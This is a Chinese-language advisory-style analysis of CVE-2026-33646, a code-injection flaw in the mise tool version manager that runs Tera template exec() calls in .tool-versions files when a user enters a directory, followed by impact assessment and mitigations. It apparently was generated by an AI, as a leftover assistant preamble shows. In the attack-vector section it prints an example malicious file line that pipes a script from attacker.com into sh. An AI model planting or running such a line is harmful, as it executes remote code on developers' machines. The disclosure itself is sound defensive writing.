🔴 严重 | CVE-2026-33646 — mise manages dev tools like node, python, cmake, a...
🔴 【深度分析】严重安全漏洞:CVE-2026-33646
CVSS 评分: 严重(9.6)🔴 状态: Deferred 发布时间: 2026-06-26
🔍 技术细节速览
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-33646 |
| CVSS 评分 | 9.6 🔴 |
| 严重程度 | 严重 |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
| CWE 分类 | CWE-94 |
| 发布时间 | 2026-06-26 |
| 最后更新 | 2026-06-26 |
| 状态 | Deferred |
| 数据来源 | security-advisories@github.com |
好的,作为一名资深网络安全分析师,我将基于您提供的 NVD 原始数据,为您生成一篇关于 CVE-2026-33646 的专业深度分析文章。
CVE-2026-33646 深度分析:mise 工具版本管理器的远程命令执行漏洞
CVSS 评分:9.6(严重)
CVSS 向量:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H危害等级: 严重 (Critical)
漏洞概述
CVE-2026-33646 是一个存在于 mise 工具版本管理器中的严重安全漏洞。mise 是一款用于管理开发工具(如 Node.js, Python, CMake, Terraform 等)版本的工具。
该漏洞的核心问题在于,mise 在处理 .tool-versions 文件时,会通过 Tera 模板引擎进行解析,并且该引擎中注册了 exec() 函数。攻击者可以构造一个恶意的 .tool-versions 文件,并将其放置在 Git 仓库中。当受害者(其环境中已激活 mise)通过 cd 命令进入该目录时,恶意文件会被自动解析,导致攻击者预设的任意命令在受害者机器上执行,且整个过程无需任何信任提示。
该漏洞影响 mise 2026.3.10 之前的所有版本,已在 2026.3.10 版本中被修复。
受影响组件与版本
- 受影响组件: mise (mise-en-place)
- 受影响版本: < 2026.3.10
- 安全版本: >= 2026.3.10
漏洞原理分析
该漏洞属于 CWE-94: 代码生成控制不当(代码注入)。其技术成因可以分解为以下几个关键点:
模板引擎滥用:
mise在处理.tool-versions文件时,将其内容传递给 Tera 模板引擎进行渲染。Tera 是一个功能强大的模板引擎,其设计初衷是生成文本内容,但若配置不当,也可能被用于执行代码。危险函数注册: 漏洞的关键在于,
mise在初始化 Tera 引擎时,注册了exec()函数。这意味着在.tool-versions文件中,攻击者可以使用{{ exec(command="...") }}这样的模板语法来调用操作系统命令。这本质上将模板引擎变成了一个命令执行的后门。信任机制缺失: 这是漏洞被利用的“最后一公里”。
mise存在一个信任验证机制,用于处理.mise.toml配置文件。当mise遇到一个从未见过的.mise.toml文件时,会弹出一个信任提示,询问用户是否允许执行其中的配置。然而,.tool-versions文件并未被纳入这个信任验证流程。在非偏执模式(non-paranoid mode)下,mise会无条件信任并解析.tool-versions文件。
攻击向量分析:
- 攻击者行为: 攻击者创建一个包含恶意
.tool-versions文件的 Git 仓库。该文件内容可能如下:nodejs 18.0.0 python 3.11.0 {{ exec(command="curl http://attacker.com/payload.sh | sh") }} - 受害者行为: 受害者克隆该仓库,并使用
cd命令进入该目录。 - 触发过程:
mise的自动激活机制(通常通过 shell hook 实现)检测到目录变化,自动查找并解析.tool-versions文件。Tera 引擎在渲染模板时,执行了exec()函数,从而在受害者机器上执行了攻击者指定的恶意命令。
利用条件:
- 受害者必须安装并激活了
mise。 - 受害者必须进入包含恶意
.tool-versions文件的目录。 mise运行在非偏执模式(默认模式)下。
影响评估
根据 CVSS 向量 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H,我们可以对该漏洞的影响进行详细评估:
- 攻击向量 (AV:N - 网络): 攻击者可以通过网络分发恶意仓库(如 GitHub, GitLab 等),无需物理接触受害者机器。
- 攻击复杂度 (AC:L - 低): 攻击者只需创建一个包含恶意模板语法的
.tool-versions文件,技术门槛极低。 - 所需权限 (PR:N - 无): 攻击者无需任何权限即可发起攻击。
- 用户交互 (UI:R - 需要): 受害者需要执行
cd命令进入恶意目录。这是一个非常常见的用户行为,因此利用难度依然很低。 - 影响范围 (S:C - 已变更): 漏洞影响的是
mise工具本身,但攻击者可以完全控制受害者的系统,影响范围超出了被利用的组件。 - 机密性 (C:H - 高): 攻击者可以窃取受害者系统中的任何敏感信息,如 SSH 密钥、API Token、源代码等。
- 完整性 (I:H - 高): 攻击者可以修改受害者系统中的任何文件,植入后门、篡改代码等。
- 可用性 (A:H - 高): 攻击者可以执行破坏性操作,如删除文件、终止进程,导致系统不可用。
综合评估: 这是一个严重级别的漏洞。其利用方式简单、影响范围广泛,且能够导致完全的系统失陷。由于 .tool-versions 文件在开源项目中非常常见,该漏洞具有极高的潜在危害性,可能被用于供应链攻击。
修复建议
1. 立即升级(首选方案)
- 操作: 将
mise升级到 2026.3.10 或更高版本。 - 命令:
mise self-update或参考官方文档进行升级。
2. 临时缓解措施
如果无法立即升级,可以考虑以下临时措施:
- 启用偏执模式 (Paranoid Mode): 启用
mise的偏执模式,该模式会对所有配置文件(包括.tool-versions)进行信任验证。虽然这会增加一些操作步骤,但可以有效防止自动执行恶意配置。- 设置环境变量:
export MISE_PARANOID=1 - 或在配置文件中设置:
paranoid = true
- 设置环境变量:
- 提高安全意识: 在
cd进入不信任的 Git 仓库目录前,检查其中是否存在.tool-versions文件,并手动审查其内容。 - 禁用自动激活: 临时禁用
mise的 shell hook 自动激活功能,改为手动执行mise use或mise install来激活特定目录的配置。但这会降低工具的便利性。
参考资料
- CVE 详情页 (NVD): https://nvd.nist.gov/vuln/detail/CVE-2026-33646
- CWE 分类: CWE-94: 代码生成控制不当(代码注入)
- mise 官方安全公告: (请关注 mise 的 GitHub 仓库或官方发布渠道获取详细公告)
- mise 项目地址: https://github.com/jdx/mise